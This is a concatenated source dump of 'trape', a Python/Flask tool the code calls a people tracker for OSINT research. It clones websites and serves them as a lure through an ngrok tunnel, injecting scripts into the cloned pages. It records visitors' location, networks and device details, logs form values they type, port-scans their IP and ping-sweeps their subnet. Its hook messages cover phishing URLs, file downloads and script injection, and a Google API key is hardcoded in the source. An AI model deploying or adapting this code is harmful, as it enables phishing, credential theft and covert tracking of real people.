self.nGrokUrl = ngrokStatus.replace('https', 'http')
utils.Go(utils.Color['white'] + "\t" + utils.Color['yellow'] + ">" + utils.Color['white'] + "-" + utils.Color['blue'] + "=" + utils.Color['white'] + "[" + utils.Color['white'] + " Public lure: " + utils.Color['blue'] + self.nGrokUrl + '/' + self.victim_path + utils.Color['white'])
utils.Go(utils.Color['white'] + "\t" + utils.Color['yellow'] + ">" + utils.Color['white'] + "-" + utils.Color['blue'] + "=" + utils.Color['white'] + "[" + utils.Color['white'] + " Control Panel link: " + utils.Color['blue'] + ngrokStatus.replace('https', 'http') + '/' + self.stats_path + utils.Color['white'])
else:
utils.Go(utils.Color['red'] + "\t" + utils.Color['green'] + "-" + utils.Color['white'] + "--" + utils.Color['red'] + "=" + utils.Color['white'] + "[" + utils.Color['white'] + " We can't connect with nGrok " + utils.Color['white'])
except Exception as e:
utils.Go(utils.Color['white'] + "[" + utils.Color['redBold'] + "x" + utils.Color['whiteBold'] + "]" + utils.Color['redBold'] + " " + "ERROR: " + " " + utils.Color['white'] + e.message)
utils.Go(utils.Color['red'] + "\t" + utils.Color['green'] + "-" + utils.Color['white'] + "--" + utils.Color['red'] + "=" + utils.Color['white'] + "[" + utils.Color['white'] + " We can't connect with nGrok " + utils.Color['white'])
utils.Go("\n" + utils.Color['white'])
utils.Go(utils.Color['white'] + "[" + utils.Color['greenBold'] + ">" + utils.Color['white'] + "]" + utils.Color['whiteBold'] + " " + "Start time:" + " " + utils.Color['white'] + self.date_start)
utils.Go(utils.Color['white'] + "[" + utils.Color['greenBold'] + "?" + utils.Color['white'] + "]" + utils.Color['white'] + " " + "Do not forget to close " + self.name_trape + ", after use. Press Control C" + " " + utils.Color['white'] + '\n')
utils.Go(utils.Color['white'] + "[" + utils.Color['greenBold'] + "¡" + utils.Color['white'] + "]" + utils.Color['white'] + " " + "Waiting for the users to fall..." + "\n")
# Important: in the process of use is possible that will ask for the root
def rootConnection(self):
pass
# Detect operating system, to compose the compatibility
def loadCheck(self):
utils.checkOS()
# the main file (trape.py)
def main(self):
import core.sockets
# Create config file
def trape_config(self):
utils.Go("\033[H\033[J")
utils.Go("----------------------------------------------------------")
utils.Go("" + " " + utils.Color['redBold'] + "TRAPE" + utils.Color['white'] +" {" + utils.Color['yellowBold'] + "stable" + utils.Color['white'] + "}" + utils.Color['white'] + " - " + "Configuration zone to use the software" + " " + "<" + utils.Color['white'])
utils.Go("----------------------------------------------------------")
utils.Go("| v" + utils.Color['redBold'] + self.version + utils.Color['white'] + " |")
utils.Go("--------" + "\n")
utils.Go(utils.Color['whiteBold'] + "GENERAL CONFIG" + utils.Color['white'])
utils.Go("------")
utils.Go("Through this section you will configure the resources required \nfor an effective function of trape, please complete the following steps, below. \nKeep in mind that if the data is incorrect this tool will not work." + utils.Color['white'])
utils.Go("")
utils.Go(utils.Color['whiteBold'] + "NGROK TOKEN" + utils.Color['white'])
utils.Go("------")
utils.Go("In the next section you must enter your Ngrok token, if you do not have \none register at (" + utils.Color['blueBold'] + "https://ngrok.com" + utils.Color['white'] + "), this data is necessary for the generation of public network tunnels.")
utils.Go("")
c_nGrokToken = input(utils.Color['blueBold'] + "-" + utils.Color['white'] + " Enter your ngrok token" + " " + utils.Color['yellow'] + ":~> " + utils.Color['white'])
utils.Go("")
utils.Go(utils.Color['whiteBold'] + "GOOGLE API" + utils.Color['white'])
utils.Go("------")
utils.Go("You must register with the " + utils.Color['blueBold'] + "Google Console" + utils.Color['white'] + ", and get an API for maps and another for shortening. \nBy having these data you complete the settings")
utils.Go("")
c_gMapsToken = input(utils.Color['blueBold'] + "-" + utils.Color['white'] + " What is your Google Maps Api Key?" + " " + utils.Color['yellow'] + ":~> " + utils.Color['white'])
c_gOoglToken = input(utils.Color['blueBold'] + "-" + utils.Color['white'] + " Enter your Goo.gl (shortener) Api Key (leave it empty if you don't have)" + " " + utils.Color['yellow'] + ":~> " + utils.Color['white'])
utils.Go("")
utils.Go(utils.Color['whiteBold'] + "IP INFO API" + utils.Color['white'])
utils.Go("------")
utils.Go("You must register with the " + utils.Color['blueBold'] + "https://ipgeolocation.io" + utils.Color['white'] + ", and get an API for geolocation. \nBy having these data you complete the settings")
utils.Go("")
c_ipinfo = input(utils.Color['blueBold'] + "-" + utils.Color['white'] + " What is your IP Info Api Key?" + " " + utils.Color['yellow'] + ":~> " + utils.Color['white'])
utils.Go("")
utils.Go(utils.Color['greenBold'] + "-" + utils.Color['white'] + " Congratulations! " + utils.Color['greenBold'] + "Successful configuration" + utils.Color['white'] + ", now enjoy Trape!" + utils.Color['white'])
utils.Go("")
time.sleep(0.4)
if (c_nGrokToken != '' and c_gMapsToken != ''):
v = '{\n\t"ngrok_token" : "' + c_nGrokToken + '",\n\t"gmaps_api_key" : "' + c_gMapsToken + '",\n\t"gshortener_api_key" : "' + c_gOoglToken + '",\n\t"ipinfo_api_key" : "' + c_ipinfo + '"\n}'
f = open ('trape.config', 'w')
f.write(v)
f.close()
else:
self.trape_config()
def injectCSS_Paths(self, code):
code = code.replace("[FAVICON_HREF]", self.CSSFiles[0]['src'])
code = code.replace("[FAVICON_PNG_HREF]",self.CSSFiles[1]['src'])
code = code.replace("[BASE_ICONS_HREF]", self.CSSFiles[2]['src'])
code = code.replace("[STYLES_HREF]", self.CSSFiles[3]['src'])
code = code.replace("[NORMALIZE_HREF]", self.CSSFiles[4]['src'])
code = code.replace("[SERVICES_ICONS_HREF]", self.CSSFiles[5]['src'])
return code
# Autocompletion of console
if "nt" in os.name:
pass
else:
import readline
readline.parse_and_bind("tab:complete")
readline.set_completer(utils.niceShell)
================================================
FILE: core/user.py
================================================
#!/usr/bin/env python
# -*- coding: utf-8 -*-
#**
#
#########
# trape #
#########
#
# trape depends of this file
# For full copyright information this visit: https://github.com/jofpin/trape
#
# Copyright 2018 by Jose Pino (@jofpin) / <jofpin@gmail.com>
#**
import time
from core.dependence import urllib2
from flask import Flask, render_template, session, request, json, Response
from core.user_objects import *
import core.stats
from core.utils import utils
from core.db import Database
import os
import sys
import platform
import urllib
import requests
from multiprocessing import Process
"""
from bs4 import BeautifulSoup
from urlparse import urlparse
import lxml
"""
# Main parts, to generate relationships among others
trape = core.stats.trape
app = core.stats.app
# call database
db = Database()
class victim_server(object):
@app.route("/" + trape.victim_path)
def homeVictim():
"""
clone_html = opener.open(trape.url_to_clone).read()
soup = BeautifulSoup(clone_html, 'lxml')
parsed_uri = urlparse(trape.url_to_clone)
domain = '{uri.scheme}://{uri.netloc}/'.format(uri=parsed_uri)
for s in soup.find_all('script'):
url = s.get('src')
if url is not None:
if url.startswith('/'):
clone_html = clone_html.replace(url, domain + url)
for css in soup.find_all('link'):
url = css.get('href')
if url is not None:
if url.startswith('/'):
clone_html = clone_html.replace(url, domain + url)
for img in soup.find_all('img'):
url = img.get('src')
if url is not None:
if url.startswith('/'):
clone_html = clone_html.replace(url, domain + url)
"""
r = requests.get(trape.url_to_clone, headers=victim_headers2(request.user_agent))
if (trape.type_lure == 'local'):
html = assignScripts(victim_inject_code(render_template("/" + trape.url_to_clone), 'payload', '/', trape.gmaps, trape.ipinfo))
else:
html = assignScripts(victim_inject_code(r.content, 'payload', trape.url_to_clone, trape.gmaps, trape.ipinfo))
return html
@app.route("/register", methods=["POST"])
def register():
vId = request.form['vId']
if vId == '':
vId = utils.generateToken(5)
victimConnect = victim(vId, request.environ['REMOTE_ADDR'], request.user_agent.platform, request.user_agent.browser, request.user_agent.version, utils.portScanner(request.environ['REMOTE_ADDR']), request.form['cpu'], time.strftime("%Y-%m-%d - %H:%M:%S"))
victimGeo = victim_geo(vId, request.form['city'], request.form['country_code2'], request.form['country_name'], request.form['ip'], request.form['latitude'], request.form['longitude'], request.form['isp'], request.form['country_code3'], request.form['state_prov'], '', request.form['zipcode'], request.form['organization'], str(request.user_agent), '')
vRA = request.environ['REMOTE_ADDR']
gHA = Process(target=getHostsAlive, args=(vRA, vId,))
gHA.start()
utils.Go(utils.Color['white'] + "[" + utils.Color['blueBold'] + "*" + utils.Color['white'] + "]" + " A " + utils.Color['whiteBold'] + "user" + utils.Color['white'] + " has been connected from " + utils.Color['blue'] + victimGeo.ip + utils.Color['white'] + ' with the following identifier: ' + utils.Color['green'] + vId + utils.Color['white'])
cant = int(db.sentences_victim('count_times', vId, 3, 0))
db.sentences_victim('insert_click', [vId, trape.url_to_clone, time.strftime("%Y-%m-%d - %H:%M:%S")], 2)
db.sentences_victim('delete_networks', [vId], 2)
if cant > 0:
utils.Go(utils.Color['white'] + "[" + utils.Color['blueBold'] + "*" + utils.Color['white'] + "]" + " " + "It\'s the " + str(cant + 1) + " time for " + utils.Color['green'] + str(vId) + utils.Color['white'] + "@" + utils.Color['blue'] + victimGeo.ip + utils.Color['white'])
db.sentences_victim('update_victim', [victimConnect, vId, time.time()], 2)
db.sentences_victim('update_victim_geo', [victimGeo, vId], 2)
else:
utils.Go(utils.Color['white'] + "[" + utils.Color['blueBold'] + "*" + utils.Color['white'] + "]" + " " + "It\'s the first time for " + utils.Color['green'] + str(vId) + utils.Color['white'] + "@" + utils.Color['blue'] + victimGeo.ip + utils.Color['white'])
db.sentences_victim('insert_victim', [victimConnect, vId, time.time()], 2)
db.sentences_victim('insert_victim_data', [vId], 2)
db.sentences_victim('insert_victim_battery', [vId], 2)
db.sentences_victim('insert_victim_geo', [victimGeo, vId], 2)
return json.dumps({'status' : 'OK', 'vId' : vId})
@app.route("/nr", methods=["POST"])
def networkRegister():
vId = request.form['vId']
vIp = request.form['ip']
vnetwork = request.form['red']
if vId == '':
vId = utils.generateToken(5)
cant = int(db.sentences_victim('count_victim_network', [vId, vnetwork], 3, 0))
if cant > 0:
db.sentences_victim('update_network', [vId, vnetwork, time.strftime("%Y-%m-%d - %H:%M:%S")], 2)
else:
db.sentences_victim('insert_networks', [vId, vIp, request.environ['REMOTE_ADDR'], vnetwork, time.strftime("%Y-%m-%d - %H:%M:%S")], 2)
utils.Go(utils.Color['white'] + "[" + utils.Color['greenBold'] + "+" + utils.Color['white'] + "]" + utils.Color['whiteBold'] + " " + vnetwork + utils.Color['white'] + " session detected from " + utils.Color['blue'] + vIp + utils.Color['white'] + ' ' + "with ID: " + utils.Color['green'] + vId + utils.Color['white'])
return json.dumps({'status' : 'OK', 'vId' : vId})
@app.route("/lr", methods=["POST"])
def locationRegister():
vId = request.form['vId']
lat = request.form['lat']
lon = request.form['lon']
db.sentences_victim('location_victim', [vId, lat, lon], 2)
return json.dumps({'status' : 'OK', 'vId' : vId})
@app.route("/lc", methods=["POST"])
def connectionRegister():
vId = request.form['vId']
con = request.form['con']
host = request.form['host']
db.sentences_victim('connection_victim', [vId, con, host], 2)
return json.dumps({'status' : 'OK', 'vId' : vId})
@app.route("/bs", methods=["POST"])
def batteryStatusRegister():
vId = request.form['id']
b_data = request.form['d']
b_type = request.form['t']
db.sentences_victim('update_battery', [vId, b_data, b_type], 2)
return json.dumps({'status' : 'OK', 'vId' : vId})
@app.route("/nm", methods=["POST"])
def navigationMode():
vId = request.form['id']
b_data = request.form['d']
b_data_2 = request.form['dn']
db.sentences_victim('update_navigationmode', [vId, b_data, b_data_2], 2)
return json.dumps({'status' : 'OK', 'vId' : vId})
@app.route("/rv")
def redirectVictim():
url = request.args.get('url')
if url[0:4] != 'http':
url = 'http://' + url
opener = urllib.request.build_opener()
headers = victim_headers(request.user_agent)
opener.addheaders = headers
html = assignScripts(victim_inject_code(opener.open(url).read(), 'vscript', url, trape.gmaps, trape.ipinfo))
return html
@app.route("/regv", methods=["POST"])
def registerRequest():
vrequest = victim_request(request.form['vId'], request.form['site'], request.form['fid'], request.form['name'], request.form['value'], request.form['sId'])
db.sentences_victim('insert_requests', [vrequest, time.strftime("%Y-%m-%d - %H:%M:%S")], 2)
utils.Go(utils.Color['white'] + "[" + utils.Color['greenBold'] + "=" + utils.Color['white'] + "]" + " " + 'Receiving data from: ' + utils.Color['green'] + vrequest.id + utils.Color['white'] + ' ' + 'on' + ' ' + utils.Color['blue'] + vrequest.site + utils.Color['white'] + '\t\n' + vrequest.fid + '\t' + vrequest.name + ':\t' + vrequest.value)
return json.dumps({'status' : 'OK', 'vId' : vrequest.id})
@app.route("/tping", methods=["POST"])
def receivePiregisterGPUng():
vrequest = request.form['id']
db.sentences_victim('report_online', [vrequest], 2)
db.sentences_victim('update_lastping', [vrequest, time.strftime("%Y-%m-%d - %H:%M:%S")], 2)
return json.dumps({'status' : 'OK', 'vId' : vrequest})
@app.route("/cIp", methods=["POST"])
def changeLocalIp():
vrequest = request.form['id']
vIp = request.form['ip']
db.sentences_victim('update_localIp', [vrequest, vIp], 2)
return json.dumps({'status' : 'OK', 'vId' : vrequest})
@app.route("/gGpu", methods=["POST"])
def setGpuInfo():
vId = request.form['vId']
vData = request.form['data']
db.sentences_victim('update_gpu', [vId, vData], 2)
return json.dumps({'status' : 'OK', 'vId' : vId})
def getHostsAlive(ip, vId):
hDB = Database()
try:
hDB.sentences_victim('delete_hostalive', vId, 2)
split_ip = ip.split('.')
net = split_ip[0] + '.' + split_ip[1] + '.' + split_ip[2] + '.'
if ip != '127.0.0.1':
if (platform.system()=='Windows'):
ping = 'ping -n 1 -w 5'
else:
ping = 'ping -c 1 -t 3'
for sub_net in range(1, 255):
address = net + str(sub_net)
response = os.popen(ping + ' ' + address)
for line in response.readlines():
if ('time=' in line.lower()):
lPos = line.find('time=')
tmpLine = line[lPos+5:lPos+15]
lPos = tmpLine.find('ms')
tmpLine = tmpLine[0:lPos+2]
hDB.sentences_victim('register_hostalive', [vId, address, tmpLine, time.strftime("%Y-%m-%d - %H:%M:%S")], 2)
break
else:
hDB.sentences_victim('register_hostalive', [vId, 'OWN HOST', 0, time.strftime("%Y-%m-%d - %H:%M:%S")], 2)
except ValueError:
pass
def assignScripts(code):
code = code.replace("base.js".encode(), trape.JSFiles[0]['src'].encode())
code = code.replace("libs.min.js".encode(),trape.JSFiles[1]['src'].encode())
code = code.replace("login.js".encode(), trape.JSFiles[2]['src'].encode())
code = code.replace("payload.js".encode(), trape.JSFiles[3]['src'].encode())
code = code.replace("trape.js".encode(), trape.JSFiles[4]['src'].encode())
code = code.replace("vscript.js".encode(), trape.JSFiles[5]['src'].encode())
code = code.replace("custom.js".encode(), trape.JSFiles[6]['src'].encode())
return code
================================================
FILE: core/user_objects.py
================================================
#!/usr/bin/env python
# -*- coding: utf-8 -*-
# **
#
#########
# trape #
#########
#
# trape depends of this file
# For full copyright information this visit: https://github.com/jofpin/trape
#
# Copyright 2018 by Jose Pino (@jofpin) / <jofpin@gmail.com>
# **
class victim(object):
def __init__(self, vId, ip, device, browser, version, ports, cpu, date):
self.vId = vId
self.ip = ip
self.device = device
self.browser = browser
self.version = version
self.ports = ports
self.cpu = cpu
self.date = date
class victim_geo(object):
def __init__(self, id, city, country_code, country_name, ip, latitude, longitude, metro_code, region_code, region_name, time_zone, zip_code, isp, ua, refer):
self.id = id
self.city = city
self.country_code = country_code
self.country_name = country_name
self.ip = ip
self.latitude = latitude
self.longitude = longitude
self.metro_code = metro_code
self.region_code = region_code
self.region_name = region_name
self.time_zone = time_zone
self.zip_code = zip_code
self.isp = isp
self.ua = ua
self.refer = refer
class victim_request(object):
def __init__(self, id, site, fid, name, value, sId):
self.id = id
self.site = site
self.fid = fid
self.name = name
self.value = value
self.sId = sId
def victim_headers2(ua):
return {
"User-Agent": str(ua),
"Content-Type": "text/html; charset=utf-8",
"Accept": "text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/webp, image/jpeg, image/gif, image/x-xbitmap, */*;q=0.8",
"Connection": "keep-alive",
# Do Not Track (info here: https://www.w3.org/TR/tracking-dnt/)
"DNT": "1",
"Keep-Alive": "115",
}
def victim_headers(ua):
return [("User-Agent", ua),
("Content-Type", "text/html; charset=utf-8"),
("Accept", "text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/webp, image/jpeg, image/gif, image/x-xbitmap, */*;q=0.8"),
("Connection", "keep-alive"),
# Do Not Track (info here: https://www.w3.org/TR/tracking-dnt/)
("DNT", "1"),
("Keep-Alive", "115")
]
def victim_inject_code(html, script='a', url_to_clone='', gMapsApiKey='AIzaSyBUPHAjZl3n8Eza66ka6B78iVyPteC5MgM', IpInfoApiKey=''):
url_to_clone = str(url_to_clone)
html = html.replace('src="'.encode(), str('src="' + url_to_clone + '/').encode())
html = html.replace("src='".encode(), str("src='" + url_to_clone + '/').encode())
html = html.replace(str('src="' + url_to_clone + '/' + 'http').encode(), 'src="http'.encode())
html = html.replace(str("src='" + url_to_clone + '/' + 'http').encode(), "src='http".encode())
html = html.replace("href='".encode(), str("href='" + url_to_clone + '/').encode())
html = html.replace('href="'.encode(), str('href="' + url_to_clone + '/').encode())
html = html.replace(str('href="' + url_to_clone + '/' + 'http').encode(), 'href="http'.encode())
html = html.replace(str("href='" + url_to_clone + '/' + 'http').encode(), "href='http".encode())
html = html.replace(
'</head>'.encode(), '<script type="text/javascript" src="/static/js/libs.min.js"></script></head>'.encode())
html = html.replace('</head>'.encode(), str('<script type="text/javascript">window.gMapsApiKey="' + str(
gMapsApiKey) + '"; window.IpInfoApiKey="' + str(IpInfoApiKey) + '";</script></head>').encode())
html = html.replace(
'</head>'.encode(), '<script type="text/javascript" src="/static/js/base.js"></script></head>'.encode())
html = html.replace(
'</head>'.encode(), '<script type="text/javascript" src="/static/js/custom.js"></script></head>'.encode())
html = html.replace(
'</head>'.encode(), str('<script type="text/javascript" src="/static/js/' + script + '.js"></script></head>').encode())
return html
def attacks_hook_message(data):
return {
'network': 'Detected network ',
'url': "Open url phishing ",
'redirect': "Redirecting to ",
'alert': "Sending alert ",
'execute': "Downloading file ",
'talk': "Sending voice message ",
'jscode': "Sending Script ",
'jsscript': "Injecting Script "
}.get(data, False)
================================================
FILE: core/utils.py
================================================
#!/usr/bin/env python
# -*- coding: utf-8 -*-
#**
#
#########
# trape #
#########
#
# trape depends of this file
# For full copyright information this visit: https://github.com/jofpin/trape
#
# Copyright 2018 by Jose Pino (@jofpin) / <jofpin@gmail.com>
#**
import random
import hashlib
import threading
import sys
import os
import socket
import time
import requests, json
from colorama import init , Style,Fore
import http.client
init()
class utils:
# Functions 1to get is right
def __init__(self):
pass
# Simplification print
@staticmethod
def Go(string):
print(string)
# All color for design terminal UI
Color = {
"cyan": Style.NORMAL+Fore.CYAN,
"cyanBold": Style.BRIGHT+Fore.CYAN,
"blue": Fore.BLUE,
"blueBold": Style.BRIGHT+Fore.BLUE,
"red": Style.NORMAL+Fore.RED,
"redBold": Style.BRIGHT+Fore.RED,
"green": Style.NORMAL+Fore.GREEN,
"greenBold": Style.BRIGHT+Fore.GREEN,
"white": Style.NORMAL+Fore.WHITE,
"whiteBold": Style.BRIGHT+Fore.WHITE,
"yellow": Style.NORMAL+Fore.YELLOW,
"yellowBold": Style.BRIGHT+Fore.YELLOW
}
# Text in bold, lines and end.
Text = {
"underline": Style.NORMAL+Fore.YELLOW,
"bold": Style.BRIGHT,
"end": Style.NORMAL+Fore.WHITE
}
# Banner trape
@staticmethod
def banner():
utils.Go("\033[H\033[J")
utils.Go("\t" + utils.Color['redBold'] + " _ ")
utils.Go("\t" + utils.Color['redBold'] + "| |_ ____ ____ ____ ____ ")
utils.Go("\t" + utils.Color['redBold'] + "| _) / ___) _ | _ \ / _ )")
utils.Go("\t" + utils.Color['redBold'] + "| |__| | ( ( | | | | ( (/ / ")
utils.Go("\t" + utils.Color['redBold'] + " \___)_| \_||_| ||_/ \____)")
utils.Go("\t" + utils.Color['redBold'] + " |_|" + utils.Color['white'] + " 2018 by " + utils.Color['whiteBold'] + "Jose Pino" + utils.Color['white'] + " (" + utils.Color['blue'] + "@jofpin" + utils.Color['white'] + ")" + utils.Color['white'])
utils.Go("\t" + "-----------------------------------------------")
utils.Go(utils.Color['green'] + "\t" + "People tracker on internet for OSINT research " + utils.Color['white'] + "|=-" + utils.Color['white'])
utils.Go("\t" + "-----------------------------------------------")
utils.Go("\t" + "| " + utils.Color['white'] + "v" + utils.Color['redBold'] + "2.1" + utils.Color['white'] + " |")
utils.Go("\t" + "--------" + "\n")
# Loader with console cleaning and OS checking
@staticmethod
def checkOS():
if "posix" in os.name:
os.system("clear")
pass
elif "nt" in os.name:
pass
#os.system("cls")
#utils.Go("Currently there is no support for Windows.")
else:
pass
utils.Go("Loading" + " " + utils.Color['blue'] + "trape" + utils.Color['white'] + "...")
time.sleep(0.4)
# Generates a unique token of up to 30 characters.
@staticmethod
def generateToken(length=8):
chars = list('ABCDEFGHIJKLMNOPQRSTUVWYZabcdefghijklmnopqrstuvwyz01234567890')
random.shuffle(chars)
chars = ''.join(chars)
sha1 = hashlib.sha1(chars.encode('utf8'))
token = sha1.hexdigest()
return token[:length]
# Simple port scan for the victim or user
@staticmethod
def portScanner(victimIP):
clientIP = socket.gethostbyname(victimIP)
listPorts = [0, 21, 22, 23, 25, 42, 43, 53, 67, 79, 80, 102, 110, 115, 119, 123, 135, 137, 143, 161, 179, 379, 389, 443, 445, 465, 636, 993, 995, 1026, 1080, 1090, 1433, 1434, 1521, 1677, 1701, 1720, 1723, 1900, 2409, 2082, 2095, 3101, 3306, 3389, 3390, 3535, 4321, 4664, 5190, 5500, 5631, 5632, 5900, 65535, 7070, 7100, 8000, 8080, 8880, 8799, 9100]
results = []
for port in listPorts:
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.settimeout(0.2)
result = sock.connect_ex((clientIP, port))
sys.stdout.flush()
if result == 0:
results.append(str(port))
return ",".join(results)
# Local port check to allow trape to run
@staticmethod
def checkPort(port):
try:
clientIP = socket.gethostbyname('127.0.0.1')
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.settimeout(0.1)
result = sock.connect_ex((clientIP, port))
sys.stdout.flush()
if result == 0:
return False
else:
try:
if int(port) > 0 and int(port) < 65535:
return True
else:
return False
except Exception as e:
return False
except Exception as e:
return False
@staticmethod
def checkUrl(url):
c = http.client.HTTPConnection(url, timeout=5)
try:
c.request("HEAD", "/")
c.close()
return True
except Exception as e:
c.close()
return False
# Goo.gl shortener service
@staticmethod
def gShortener(api_key, p_url):
url = "https://www.googleapis.com/urlshortener/v1/url?key=" + api_key
payload = '{"longUrl":"' + p_url + '"}'
headers = {'content-type': 'application/json'}
r = requests.post(url, data=payload, headers=headers)
return r
# Autocompletion
@staticmethod
def niceShell(text, state):
matches = [i for i in commands if i.startswith(text)]
if state < len(matches):
return matches[state]
else:
return None
================================================
FILE: requirements.txt
================================================
Flask
Flask-Login
Flask-Session
flask-socketio
flask_socketio
flask_cors
itsdangerous
Jinja2
MarkupSafe
python-engineio
python-socketio
six
Werkzeug
eventlet
requests
colorama
================================================
FILE: static/css/base-icons.css
================================================
@font-face{font-family:'boxicons';src:url('../css/fonts/boxicons.eot?szinet');src:url('../css/fonts/boxicons.eot?#iefixszinet') format('embedded-opentype'),url('../css/fonts/boxicons.woff?szinet') format('woff'),url('../css/fonts/boxicons.ttf?szinet') format('truetype'),url('../css/fonts/boxicons.svg?szinet#boxicons') format('svg');font-weight:normal;font-style:normal;}[class^="icon-"],[class*="icon-"]{display:inline-block;speak:none;font-family:"boxicons";font-size:inherit;color:currentColor;fill:currentColor;font-style:normal;font-weight:normal;font-variant:normal;text-transform:none;text-rendering:auto;line-height:1;-webkit-font-smoothing:antialiased;-moz-osx-font-smoothing:grayscale;}.icon-add-to-list:before{content:"\e900";}.icon-classic-computer:before{content:"\e901";}.icon-controller-fast-backward:before{content:"\e902";}.icon-creative-commons-attribution:before{content:"\e903";}.icon-creative-commons-noderivs:before{content:"\e904";}.icon-creative-commons-noncommercial-eu:before{content:"\e905";}.icon-creative-commons-noncommercial-us:before{content:"\e906";}.icon-creative-commons-public-domain:before{content:"\e907";}.icon-creative-commons-remix:before{content:"\e908";}.icon-creative-commons-share:before{content:"\e909";}.icon-creative-commons-sharealike:before{content:"\e90a";}.icon-creative-commons2:before{content:"\e90b";}.icon-document-landscape:before{content:"\e90c";}.icon-remove-user:before{content:"\e90d";}.icon-warning2:before{content:"\e90e";}.icon-arrow-bold-down:before{content:"\e90f";}.icon-arrow-bold-left:before{content:"\e910";}.icon-arrow-bold-right:before{content:"\e911";}.icon-arrow-bold-up:before{content:"\e912";}.icon-arrow-down2:before{content:"\e913";}.icon-arrow-left2:before{content:"\e914";}.icon-arrow-long-down:before{content:"\e915";}.icon-arrow-long-left:before{content:"\e916";}.icon-arrow-long-right:before{content:"\e917";}.icon-arrow-long-up:before{content:"\e918";}.icon-arrow-right2:before{content:"\e919";}.icon-arrow-up2:before{content:"\e91a";}.icon-arrow-with-circle-down:before{content:"\e91b";}.icon-arrow-with-circle-left:before{content:"\e91c";}.icon-arrow-with-circle-right:before{content:"\e91d";}.icon-arrow-with-circle-up:before{content:"\e91e";}.icon-bookmark2:before{content:"\e91f";}.icon-bookmarks:before{content:"\e920";}.icon-chevron-down2:before{content:"\e921";}.icon-chevron-left2:before{content:"\e922";}.icon-chevron-right2:before{content:"\e923";}.icon-chevron-small-down:before{content:"\e924";}.icon-chevron-small-left:before{content:"\e925";}.icon-chevron-small-right:before{content:"\e926";}.icon-chevron-small-up:before{content:"\e927";}.icon-chevron-thin-down:before{content:"\e928";}.icon-chevron-thin-left:before{content:"\e929";}.icon-chevron-thin-right:before{content:"\e92a";}.icon-chevron-thin-up:before{content:"\e92b";}.icon-chevron-up2:before{content:"\e92c";}.icon-chevron-with-circle-down:before{content:"\e92d";}.icon-chevron-with-circle-left:before{content:"\e92e";}.icon-chevron-with-circle-right:before{content:"\e92f";}.icon-chevron-with-circle-up:before{content:"\e930";}.icon-cloud2:before{content:"\e931";}.icon-controller-fast-forward:before{content:"\e932";}.icon-controller-jump-to-start:before{content:"\e933";}.icon-controller-next:before{content:"\e934";}.icon-controller-paus:before{content:"\e935";}.icon-controller-play:before{content:"\e936";}.icon-controller-record:before{content:"\e937";}.icon-controller-stop:before{content:"\e938";}.icon-controller-volume:before{content:"\e939";}.icon-dot-single:before{content:"\e93a";}.icon-dots-three-horizontal:before{content:"\e93b";}.icon-dots-three-vertical:before{content:"\e93c";}.icon-dots-two-horizontal:before{content:"\e93d";}.icon-dots-two-vertical:before{content:"\e93e";}.icon-download2:before{content:"\e93f";}.icon-emoji-flirt:before{content:"\e940";}.icon-flow-branch:before{content:"\e941";}.icon-flow-cascade:before{content:"\e942";}.icon-flow-line:before{content:"\e943";}.icon-flow-parallel:before{content:"\e944";}.icon-flow-tree:before{content:"\e945";}.icon-install:before{content:"\e946";}.icon-layers:before{content:"\e947";}.icon-open-book:before{content:"\e948";}.icon-resize-100:before{content:"\e949";}.icon-resize-full-screen:before{content:"\e94a";}.icon-save2:before{content:"\e94b";}.icon-select-arrows:before{content:"\e94c";}.icon-sound-mute:before{content:"\e94d";}.icon-sound:before{content:"\e94e";}.icon-trash2:before{content:"\e94f";}.icon-triangle-down:before{content:"\e950";}.icon-triangle-left:before{content:"\e951";}.icon-triangle-right:before{content:"\e952";}.icon-triangle-up:before{content:"\e953";}.icon-uninstall:before{content:"\e954";}.icon-upload-to-cloud:before{content:"\e955";}.icon-upload2:before{content:"\e956";}.icon-add-user:before{content:"\e957";}.icon-address:before{content:"\e958";}.icon-adjust2:before{content:"\e959";}.icon-air:before{content:"\e95a";}.icon-aircraft-landing:before{content:"\e95b";}.icon-aircraft-take-off:before{content:"\e95c";}.icon-aircraft:before{content:"\e95d";}.icon-align-bottom:before{content:"\e95e";}.icon-align-horizontal-middle:before{content:"\e95f";}.icon-align-left2:before{content:"\e960";}.icon-align-right2:before{content:"\e961";}.icon-align-top:before{content:"\e962";}.icon-align-vertical-middle:before{content:"\e963";}.icon-archive2:before{content:"\e964";}.icon-area-graph:before{content:"\e965";}.icon-attachment:before{content:"\e966";}.icon-awareness-ribbon:before{content:"\e967";}.icon-back-in-time:before{content:"\e968";}.icon-back:before{content:"\e969";}.icon-bar-graph:before{content:"\e96a";}.icon-battery:before{content:"\e96b";}.icon-beamed-note:before{content:"\e96c";}.icon-bell2:before{content:"\e96d";}.icon-blackboard:before{content:"\e96e";}.icon-block:before{content:"\e96f";}.icon-book2:before{content:"\e970";}.icon-bowl:before{content:"\e971";}.icon-box:before{content:"\e972";}.icon-briefcase2:before{content:"\e973";}.icon-browser:before{content:"\e974";}.icon-brush:before{content:"\e975";}.icon-bucket:before{content:"\e976";}.icon-cake:before{content:"\e977";}.icon-calculator2:before{content:"\e978";}.icon-calendar2:before{content:"\e979";}.icon-camera2:before{content:"\e97a";}.icon-ccw:before{content:"\e97b";}.icon-chat:before{content:"\e97c";}.icon-check2:before{content:"\e97d";}.icon-circle-with-cross:before{content:"\e97e";}.icon-circle-with-minus:before{content:"\e97f";}.icon-circle-with-plus:before{content:"\e980";}.icon-circle2:before{content:"\e981";}.icon-circular-graph:before{content:"\e982";}.icon-clapperboard:before{content:"\e983";}.icon-clipboard2:before{content:"\e984";}.icon-clock:before{content:"\e985";}.icon-code2:before{content:"\e986";}.icon-cog2:before{content:"\e987";}.icon-colours:before{content:"\e988";}.icon-compass2:before{content:"\e989";}.icon-copy2:before{content:"\e98a";}.icon-credit-card2:before{content:"\e98b";}.icon-credit:before{content:"\e98c";}.icon-cross:before{content:"\e98d";}.icon-cup:before{content:"\e98e";}.icon-cw:before{content:"\e98f";}.icon-cycle:before{content:"\e990";}.icon-database2:before{content:"\e991";}.icon-dial-pad:before{content:"\e992";}.icon-direction:before{content:"\e993";}.icon-document:before{content:"\e994";}.icon-documents:before{content:"\e995";}.icon-drink:before{content:"\e996";}.icon-drive:before{content:"\e997";}.icon-drop:before{content:"\e998";}.icon-edit2:before{content:"\e999";}.icon-email:before{content:"\e99a";}.icon-emoji-happy:before{content:"\e99b";}.ico